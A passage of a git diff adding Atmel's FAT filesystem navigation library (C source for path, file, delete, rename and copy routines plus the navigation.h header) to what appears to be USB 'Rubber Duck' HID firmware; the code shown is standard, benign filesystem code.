'.' == ((FS_STR_UNICODE)sz_path )[1] ) + && (('\\' == ((FS_STR_UNICODE)sz_path )[2]) || ('/' == ((FS_STR_UNICODE)sz_path )[2]) || (0 == ((FS_STR_UNICODE)sz_path )[2])) ) + { + // Go to parent directory + if( !nav_dir_gotoparent() ) + goto nav_setcwd_fail; + sz_path += (2*2); // jump ".." + if( 0 != ((FS_STR_UNICODE)sz_path )[0]) + sz_path += (2*1); // jump "/" + } + }else{ + while(( '.' == sz_path [0] ) + && ( '.' == sz_path [1] ) + && (('\\' == sz_path [2]) || ('/' == sz_path [2]) || (0 == sz_path [2])) ) + { + // Go to parent directory + if( !nav_dir_gotoparent() ) + goto nav_setcwd_fail; + sz_path += 2; // jump ".." + if( 0 != sz_path [0]) + sz_path +=1; // jump "/" + } + } + } + + // Reset list to start the search at the beginning + if( !nav_filelist_reset()) + goto nav_setcwd_fail; + + while( 1 ) + { + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) + { + return true; // path (without file) is found or create + } + if( !nav_filelist_findname( sz_path , b_match_case )) + { + // The file or directory is not found + if( !b_create ) + goto nav_setcwd_fail; // don't creat the directory then exit + // Set flag to create the directory + b_create_name = true; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) || \ + (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + sz_save_path = sz_path; +#endif + } + + while( 1 ) + { + sz_path += (Is_unicode? 2 : 1 ); + if( (( Is_unicode) && ( 0 == ((FS_STR_UNICODE)sz_path )[0] ) ) + || ((!Is_unicode) && ( 0 == sz_path [0] ) ) ) + { + // Is it the last name of path and it is a file + if( b_create_name ) + { +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + // The file must be created + if( !nav_file_create( sz_save_path ) ) + goto nav_setcwd_fail; +#else + goto nav_setcwd_fail; +#endif + } + break; // The file include in path is found or created, then end of set_cwd + } + + if( (( Is_unicode) && (('\\' == ((FS_STR_UNICODE)sz_path )[0] ) || ('/' == ((FS_STR_UNICODE)sz_path )[0] )) ) + || ((!Is_unicode) && (('\\' == sz_path [0] ) || ('/' == sz_path [0] )) ) ) + { + // Is it a folder name + if( b_create_name ) + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) + // The folder doesn't exist and it must be created + if( !nav_dir_make( sz_save_path )) + goto nav_setcwd_fail; +#else + goto nav_setcwd_fail; +#endif + } + if( !fat_entry_is_dir() ) + goto nav_setcwd_fail; + // jump '\' + sz_path += (Is_unicode? 2 : 1 ); + if( !nav_dir_cd()) + goto nav_setcwd_fail; + break; + } + } + + } + +nav_setcwd_fail: + nav_gotoindex( &index ); // Restore the position + return false; +} + + + + +//********************************************************************** +//*********************** File control functions *********************** + + +//! This function returns the name of selected file +//! +//! @param sz_name string to store the name file (ASCII or UNICODE )
+//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_getname( FS_STRING sz_name, uint8_t u8_size_max ) +{ + return nav_file_name( sz_name, u8_size_max, FS_NAME_GET, false ); +} + + +//! This function returns the name of selected file or checks the string with the name of selected file +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the name of selected file
+//! FS_NAME_CHECK to check the name of selected file
+//! @param sz_name if FS_NAME_GET then string to store the file name (ASCII or UNICODE )
+//! if FS_NAME_CHECK then string to match with file name (ASCII or UNICODE), +//! it must be terminated by NULL or '*' value
+//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action) +//! +//! @param u8_size_max string size (unit ASCII or UNICODE ), only used in "FS_NAME_GET" action +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ + _MEM_TYPE_SLOW_ uint16_t u16_lgt; // Only used if LENGTH string mode enabled + uint16_t u16_ptr_save_entry; + Bool b_readshortname = false; + + if ( !fat_check_mount_select()) + return false; + + // Check if the string size is not 0 + if( (FS_NAME_GET == b_mode) + && (0 == u8_size_max) ) + { + return true; + } + + // Save the current entry position + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; + // if it is the beginning of the directory + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + b_readshortname = true; // It isn't possibled to have a long name + } + else + { + fs_g_nav_fast.u16_entry_pos_sel_file--; // Initialize entry position to search the first long name entry + } + + // Loop in directory entry + u16_lgt = 0; + while( 1 ) + { + if ( !fat_read_dir()) + break; // error + + if ( b_readshortname ) + { + // No long name present then read short name + return fat_entry_shortname( sz_name , u8_size_max , b_mode ); + } + + // Check or read the part of long file name in this entry + if ( fat_entry_longname( sz_name , u8_size_max , b_mode , b_match_case )) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name )[0] += u16_lgt; + } + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + return true; + } + + if ( FS_NO_LAST_LFN_ENTRY != fs_g_status ) + { + // Go to the main entry file (=short name entry) + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + + if ( FS_ERR_ENTRY_BAD == fs_g_status ) + { + // It isn't a long name entry then there aren't long file name + b_readshortname = true; // It is mandatory to use the short name + continue; // restart the loop + } + // here, it is a error system or the string don't match with the file name + break; + } + if( g_b_string_length ) + { + u16_lgt += FS_SIZE_LFN_ENTRY; + } + else + { + // Increment the string to store the next part of file name + sz_name += FS_SIZE_LFN_ENTRY * (Is_unicode? 2 : 1 ); + u8_size_max -= FS_SIZE_LFN_ENTRY; + } + fs_g_nav_fast.u16_entry_pos_sel_file--; // Go to the next part of long file name + + } // end of loop while(1) + return false; +} + + +//! This function returns the size of selected file (unit byte) +//! +//! @return Size of selected file (unit byte) +//! +uint32_t nav_file_lgt( void ) +{ + return fs_g_nav_entry.u32_size; +} + + +//! This function returns the size of selected file (unit sector) +//! +//! @return Size of selected file (unit 512B) +//! +uint16_t nav_file_lgtsector( void ) +{ + return (fs_g_nav_entry.u32_size >> FS_512B_SHIFT_BIT); +} + + +//! This function checks the write protection of disk and the attribut "read only" of selected file +//! +//! @return false, it is possible to modify the selected file +//! @return true, in other case +//! +Bool nav_file_isreadonly( void ) +{ + if( !fat_check_mount_select() ) + return true; // No file selected + if( mem_wr_protect( fs_g_nav.u8_lun ) ) + return true; // Disk protected + return (0!=(FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr)); // Check attribut "read only" +} + + +//! This function returns the type of selected file +//! +//! @return true, it is a directory +//! @return false, in other case +//! +Bool nav_file_isdir( void ) +{ + return fat_entry_is_dir(); +} + + +//! This function checks the extension of selected file +//! +//! @param sz_filterext extension filter (ASCII format, e.g.: "txt" or "txt,d*,wk" ) +//! +//! @return true, the file extension match with extension filter +//! @return false, in other case +//! +Bool nav_file_checkext( const FS_STRING sz_filterext ) +{ + if ( fat_check_mount_select() ) + { + // Read selected entry (=short name entry) in directory + if ( fat_read_dir()) + { + // Check the extension with filter + if ( fat_entry_checkext( (FS_STRING) sz_filterext ) ) + return true; + } + } + return false; +} + + +//! This function returns the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string (>17B) to store the information about date
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateget( FS_STRING sz_date , Bool type_date ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + fat_get_date( sz_date , type_date ); + return true; +} + + +//! This function returns the attribut of selected file +//! +//! @return attribut of selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +uint8_t nav_file_attributget( void ) +{ + return fs_g_nav_entry.u8_attr; +} + + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string contains the date to write
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateset( const FS_STRING sz_date , Bool type_date ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + fat_set_date( sz_date , type_date ); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the attribut of selected file +//! +//! @param u8_attribut value to write on selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_attributset( uint8_t u8_attribut ) +{ + if ( !fat_check_mount_select()) + return false; + + // Read selected entry in directory + if ( !fat_read_dir()) + return false; + + // Write the new attribut + fs_g_nav_entry.u8_attr &= (~(FS_ATTR_READ_ONLY|FS_ATTR_HIDDEN|FS_ATTR_SYSTEM|FS_ATTR_ARCHIVE)); + fs_g_nav_entry.u8_attr |= u8_attribut & (FS_ATTR_READ_ONLY|FS_ATTR_HIDDEN|FS_ATTR_SYSTEM|FS_ATTR_ARCHIVE); + fat_write_entry_file(); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function deletes the selected file or directory +//! +//! @param b_only_empty true, delete the directory only if empty
+//! false, delete directories and files include in selected directory
+//! If the selection is not a directory then this param is ignored. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_del( Bool b_only_empty ) +{ + uint8_t u8_folder_level = 0xFF; + + if ( !fat_check_mount_select_noopen()) + return false; + + if( 0xFF == u8_folder_level ) // to remove a eventually compile warning + goto nav_file_del_test_dir_or_file; + + // loop to scan and delete ALL folders and ALL files + while(1) + { + while(1) + { + if( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + // Directory no empty + if( b_only_empty ) + { + fs_g_status = FS_ERR_DIR_NOT_EMPTY; // Erase only the empty directory + return false; + } + break; // Exit loop to delete files or directories present + } + // HERE, directory empty + + // Go to parent directory and this one select the children directory + if( !nav_dir_gotoparent() ) + return false; + + // Delete children directory name and her cluster list + if ( !fat_delete_file( true )) + return false; + + if( 0 == u8_folder_level ) + { + // All directory tree is deleted + return true; //********* END OF DEL TREE ************** + } + u8_folder_level--; + + } // end of second while (1) + +nav_file_del_test_dir_or_file: + if( nav_file_isdir()) + { + // here, a directory is found and is selected + if( !nav_dir_cd()) + return false; + u8_folder_level++; + } + else + { + // here, a file is found and is selected + if( !fat_check_nav_access_file( true ) ) + return false; + // delete file entry name and cluster list + if ( !fat_delete_file( true )) + return false; + if( 0xFF == u8_folder_level ) + break; // only one file to delete + } // if dir OR file + } // end of first while(1) + + // Reset selection + nav_filelist_reset(); + return fat_cache_flush(); // To write all data and check write access before exit function +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function renames the selected directory or file +//! +//! @param sz_name new name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_rename( const FS_STRING sz_name ) +{ + uint16_t u16_save_entry_pos; + Bool b_save_entry_type; + uint8_t u8_attr; + uint32_t u32_cluster; + uint32_t u32_size; + + if ( !fat_check_mount_select_noopen()) + return false; + + if( !fat_check_nav_access_file( true ) ) + return false; + + // Note: in case of error, create the new name before delete the current name + + // Save information about current name poisition + u16_save_entry_pos = fs_g_nav_fast.u16_entry_pos_sel_file; + b_save_entry_type = fs_g_nav.b_mode_nav; + // Save information about file + u8_attr = fs_g_nav_entry.u8_attr; + u32_cluster = fs_g_nav_entry.u32_cluster; + u32_size = fs_g_nav_entry.u32_size; + + // Create a name + if ( !nav_file_create( sz_name )) + return false; // error + // Restore information about file or directory on the new name entry + if ( !fat_read_dir()) + return false; + fs_g_nav_entry.u8_attr = u8_attr; + fs_g_nav_entry.u32_cluster = u32_cluster; + fs_g_nav_entry.u32_size = u32_size; + fat_write_entry_file(); + + // Delete old entry name + fs_g_nav_fast.u16_entry_pos_sel_file = u16_save_entry_pos; // go to old entry name + if ( !fat_delete_file(false) ) + return false; + if ( !fat_cache_flush() ) + return false; + + // Go to at the position of the new name entry (it is the last file or directory ) + return nav_filelist_last( b_save_entry_type ); +} +#endif // FS_LEVEL_FEATURES + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + +//! This function creates a file with NULL size and NULL attribut +//! +//! @param sz_name file name to create (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you ues this routine to create a file, then you must called file_open() to open this new file +//! @endverbatim +//! +Bool nav_file_create( const FS_STRING sz_name ) +{ + // Check if the name already exists + if (!nav_filelist_reset()) + return false; + if (nav_filelist_findname(sz_name , false)) + { + fs_g_status = FS_ERR_FILE_EXIST; + return false; // File exist -> it is not possible to create this name + } + // FYC: here, the selection is at the end of the list + // Create name entrys + if ( !fat_create_entry_file_name( sz_name )) + return false; // error + // By default the information about the new file is NULL + fs_g_nav_entry.u32_cluster = 0; // No first cluster + fs_g_nav_entry.u32_size = 0; // The size is null + fs_g_nav_entry.u8_attr = 0; // Attribut is a file + + // It is the last FILE of the list + fs_g_nav.u16_pos_sel_file++; + fs_g_nav.b_mode_nav = FS_FILE; + return fat_cache_flush(); +} + + +//! This function updates the COPY navigator with the selected file +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you use the COPY navigator after this routine then the copy information is lost (see FS_NAV_ID_COPYFILE in conf_explorer.h). +//! @endverbatim +//! +Bool nav_file_copy( void ) +{ + if( nav_file_isdir() ) + { + fs_g_status = FS_ERR_COPY_DIR; // Impossible to copy a directory + return false; + } + // In "copy file" navigator select the file + nav_copy( FS_NAV_ID_COPYFILE ); + return true; +} + + +//! This function pastes the selected file in COPY navigator in the file list of the current navigator +//! +//! @param sz_name file name of the new file (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine, you shall called nav_file_paste_state() to run and way the copy +//! @endverbatim +//! +Bool nav_file_paste_start( const FS_STRING sz_name ) +{ + uint8_t nav_id_save; + Bool status; + + if( ID_STREAM_ERR != g_id_trans_memtomem ) + { + + fs_g_status = FS_ERR_COPY_RUNNING; // A copy action is always running + return false; + } + + // Create the file to paste + if( !nav_file_create( sz_name ) ) + return false; + // Open the file in write mode with size 0 + if( !file_open( FOPEN_MODE_W_PLUS )) + return false; + + // Open the file to copy + nav_id_save = nav_get(); + nav_select( FS_NAV_ID_COPYFILE ); + status = file_open(FOPEN_MODE_R); + nav_select( nav_id_save ); + + // If error then close "paste file" + if( !status ) + { + file_close(); + return false; + }else{ + // Signal start copy + g_id_trans_memtomem = ID_STREAM_ERR-1; + g_segment_src.u16_size = 0; + return true; + } +} + + +//! This function executes the copy file +//! +//! @param b_stop set true to stop copy action +//! +//! @return copy status
+//! COPY_BUSY, copy running +//! COPY_FAIL, copy fail +//! COPY_FINISH, copy finish +//! +uint8_t nav_file_paste_state( Bool b_stop ) +{ + Ctrl_status status_stream; + uint8_t status_copy; + uint8_t nav_id_save; + _MEM_TYPE_SLOW_ uint16_t u16_nb_sector_trans; + + nav_id_save = nav_get(); + + // Check, if the copy is running + if( ID_STREAM_ERR == g_id_trans_memtomem ) + return COPY_FAIL; + + if( b_stop ) + { + status_copy = COPY_FAIL; + } + else + { + if( (ID_STREAM_ERR-1) != g_id_trans_memtomem ) + { + // It isn't the beginning of copy action, then check current stream + status_stream = stream_state( g_id_trans_memtomem ); + switch( status_stream ) + { + case CTRL_BUSY: + status_copy = COPY_BUSY; + break; + case CTRL_GOOD: + status_copy = COPY_FINISH; + break; + case CTRL_FAIL: + default: + status_copy = COPY_FAIL; + break; + } + }else{ + status_copy = COPY_FINISH; + } + + // Compute the new segment to copy + if( COPY_FINISH == status_copy ) + { + stream_stop( g_id_trans_memtomem ); + + if( 0 != g_segment_src.u16_size ) + { + status_copy = COPY_BUSY; // start the next continue stream + } + else + { + // check eof source file + nav_select( FS_NAV_ID_COPYFILE ); + if( 0 == file_eof() ) + { + status_copy = COPY_BUSY; + g_segment_src.u16_size = 0xFFFF; // Get the maximum segment supported by navigation (uint16_t) + if( !file_read( &g_segment_src )) + { + status_copy = COPY_FAIL; + } + } + nav_select( nav_id_save ); + + // Check destination file + if( COPY_BUSY == status_copy ) + { + g_segment_dest.u16_size = g_segment_src.u16_size; // Ask the segment no more larger than source segment + if( !file_write( &g_segment_dest )) + { + status_copy = COPY_FAIL; + } + } + + // Start new segment copy + if( COPY_BUSY == status_copy ) + { + // Compute a minimal segment + if( g_segment_src.u16_size > g_segment_dest.u16_size ) + { + // Reposition source file + nav_select( FS_NAV_ID_COPYFILE ); + if( !file_seek( (uint32_t)(g_segment_src.u16_size - g_segment_dest.u16_size)*FS_512B , FS_SEEK_CUR_RE )) + { + status_copy = COPY_FAIL; + } + nav_select( nav_id_save ); + g_segment_src.u16_size = g_segment_dest.u16_size; // Update source to start a correct transfer + } + } + } + if( COPY_BUSY == status_copy ) + { + // Split transfer by step of SIZE_OF_SPLIT_COPY + if( g_segment_src.u16_size < SIZE_OF_SPLIT_COPY ) + u16_nb_sector_trans = g_segment_src.u16_size; + else + u16_nb_sector_trans = SIZE_OF_SPLIT_COPY; + + g_id_trans_memtomem = stream_mem_to_mem( g_segment_src.u8_lun , g_segment_src.u32_addr , g_segment_dest.u8_lun , g_segment_dest.u32_addr , u16_nb_sector_trans ); + if( ID_STREAM_ERR == g_id_trans_memtomem ) + status_copy = COPY_FAIL; + g_segment_src.u32_addr +=u16_nb_sector_trans; + g_segment_dest.u32_addr+=u16_nb_sector_trans; + g_segment_src.u16_size -=u16_nb_sector_trans; + } + } + } + + // Check end of copy + if( COPY_BUSY != status_copy ) + { + uint32_t u32_size_exact; + + // Stop copy + stream_stop( g_id_trans_memtomem ); + g_id_trans_memtomem = ID_STREAM_ERR; + + // Get exact size and close the source file + nav_select( FS_NAV_ID_COPYFILE ); + u32_size_exact = nav_file_lgt(); + file_close(); + nav_select( nav_id_save ); + + // If no error then set the exact size on the destination file + if( COPY_FINISH == status_copy ) + { + if( !file_seek( u32_size_exact , FS_SEEK_SET )) + { + status_copy = COPY_FAIL; + }else{ + if( !file_set_eof() ) + { + status_copy = COPY_FAIL; + } + } + } + file_close(); + // If error then delete the destination file + if( COPY_FAIL == status_copy ) + { + nav_file_del( true ); + } + } + return status_copy; +} +#endif // FS_LEVEL_FEATURES diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.h new file mode 100755 index 0000000..6bcbf4f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.h @@ -0,0 +1,766 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for file navigation. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#ifndef _NAVIGATION_H_ +#define _NAVIGATION_H_ + +#include "fs_com.h" +#include "fat.h" + +//! \name nav_filelist_set() options parameter +//! @{ +#define FS_FIND_NEXT true //!< move in list to next file +#define FS_FIND_PREV false //!< move in list to previous file +//! @} + + +//********************************************************************** +//************************ String format select ************************ + +//! This function selects the UNICODE mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_unicode( void ); + +//! This function selects the ASCII mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_ascii( void ); + +//! This function selects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_enable( void ); + +//! This function deselects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_disable( void ); + +//********************************************************************** +//********************** To optimize speed access ********************** + +//! This function disables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_disable( void ); + +//! This function enables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_enable( void ); + + +//********************************************************************** +//************** Initialise or Stop navigation module ****************** + + +//! This function resets ALL navigations to init file system core +//! +//! @verbatim +//! Call this at the program startup or before a new session (e.g. USB Device exit) +//! @endverbatim +//! +void nav_reset( void ); + +//! This function flush ALL navigations before exit of file system core +//! +//! @verbatim +//! Call this at the program exit or before a USB Device session +//! @endverbatim +//! +void nav_exit( void ); + +//! This function selects the navigation to use +//! +//! @param u8_idnav navigator identifier to select (0 to FS_NB_NAVIGATOR-1) +//! +//! @return false if ID navigator don't exist +//! @return true otherwise +//! +Bool nav_select( uint8_t u8_idnav ); + +//! This function returns the navigation identifier used +//! +//! @return u8_idnav navigator identifier selected +//! +uint8_t nav_get( void ); + +//! This function copys the navigator information to another navigator +//! +//! @param u8_idnav navigator identifier where the main navigator will be copied +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Use this routine to select quickly the same file in another navigator +//! @endverbatim +//! +Bool nav_copy( uint8_t u8_idnav ); + + +//********************************************************************** +//********************* Drive navigation functions ********************* + + +//! This function returns the number of devices availabled +//! +//! @return number of devices, 0 = NO DEVICE AVAILABLED +//! +//! @verbatim +//! This value may be dynamic because it depends of memory drivers (e.g. Mass Storage disk on USB host mode) +//! @endverbatim +//! +uint8_t nav_drive_nb( void ); + +//! This function selects a drive in navigator but don't mount the disk partition +//! +//! @param u8_number device number (0 to nav_drive_nb()-1 ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_drive_set( uint8_t u8_number ); + +//! This function returns the selected drive number +//! +//! @return 0 to nav_drive_nb()-1 +//! @return 0xFF in case of no drive selected +//! +uint8_t nav_drive_get( void ); + +//! This function returns the selected drive letter +//! +//! @return 'A','B',... +//! @return 'X', in case of no drive selected +//! +uint8_t nav_drive_getname( void ); + +//! This function formats the current drive (=disk) +//! +//! @param u8_fat_type Select the format type
+//! FS_FORMAT_DEFAULT, The system chooses the better FAT format
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG, if you don't want a MRB on the disk then add this flag (e.g. specific partition structure on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! WARNING: This routine can't format a multi-partiton, if the disk contains a multi-partition +//! then this one is erased and replaced by a single partition on ALL disk space. +//! @endverbatim +//! +Bool nav_drive_format( uint8_t u8_fat_type ); + + +//********************************************************************** +//******************* Partition navigation functions ******************* + + +//! This function returns the number of partitions present on drive +//! +//! @return u8_number number of partitions +//! +uint8_t nav_partition_nb( void ); + +//! This function selects a partition on drive +//! +//! @param partition_number partition number (0 to 3) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_set( uint8_t partition_number ); + +//! This function mounts the selected partition +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! After mount, the file list contains files and directories of ROOT directory +//! @endverbatim +//! +Bool nav_partition_mount( void ); + +//! This function gives the partition type +//! +//! @return partition type: FS_TYPE_FAT_12, FS_TYPE_FAT_16, FS_TYPE_FAT_32 +//! @return FS_TYPE_FAT_UNM, in case of error or unknow format +//! +uint8_t nav_partition_type( void ); + +//! This function reads or writes the serial number on the selected partition +//! +//! @param b_action to select the action
+//! FS_SN_READ to read serial number
+//! FS_SN_WRITE to write serial number
+//! @param a_u8_sn pointer on an array (4 bytes)
+//! if FS_SN_READ, then the array is used to store the serial number
+//! if FS_SN_WRITE, then the array is used to give the new serial number
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_serialnumber( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ); + +//! This function reads or writes the label of selected partition +//! +//! @param b_action to select the action
+//! FS_LABEL_READ to read label
+//! FS_LABEL_WRITE to write label
+//! @param sz_label pointer on a ASCII string (11 chars + NULL terminator =12 bytes)
+//! if FS_LABEL_READ, then the string is used to store label
+//! if FS_LABEL_WRITE, then the string is used to give the new label
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_label( Bool b_action , FS_STRING sz_label ); + +//! This function returns partition total space +//! +//! @return number of sectors +//! @return 0, in case of error +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_space( void ); + +//! This function returns the partition cluster size +//! +//! @return cluster size (unit sector) +//! +uint8_t nav_partition_cluster_size( void ); + +//! This function returns the partition free space +//! +//! @return number of free sectors +//! @return 0 in case of error or full partition +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_freespace( void ); + +//! This function returns the partition space free in percent +//! +//! @return percent of free space (0% to 100%) +//! @return 0% in case of error or full partition +//! +//! @verbatim +//! To speed up the compute, the resultat have an error delta of 1% +//! @endverbatim +//! +uint8_t nav_partition_freespace_percent( void ); + + +//********************************************************************** +//****************** File list navigation functions ******************** + +//! To display in File List only the files OR directories +//! +//! @param b_type FS_DIR to display only directories presence
+//! FS_FILE to dispaly only files presence
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_enable( Bool b_type ); + +//! To display in File List the directories AND files +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_disable( void ); + +//! This function resets the selection pointer, so "no file selected" in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_reset( void ); + +//! This function checks if a file is selected +//! +//! @return true if a file is selected +//! @return false if no file is selected +//! +Bool nav_filelist_validpos( void ); + +//! This function checks if no file is open +//! +//! @return true if no file is open +//! @return false if a file is open +//! +Bool nav_filelist_fileisnotopen( void ); + +//! This function moves the selection pointer in file list +//! +//! @param u16_nb numbers of file to jump before stopping action
+//! 0, stop at the first file found
+//! 1, stop at the second file found
+//! +//! @param b_direction search direction
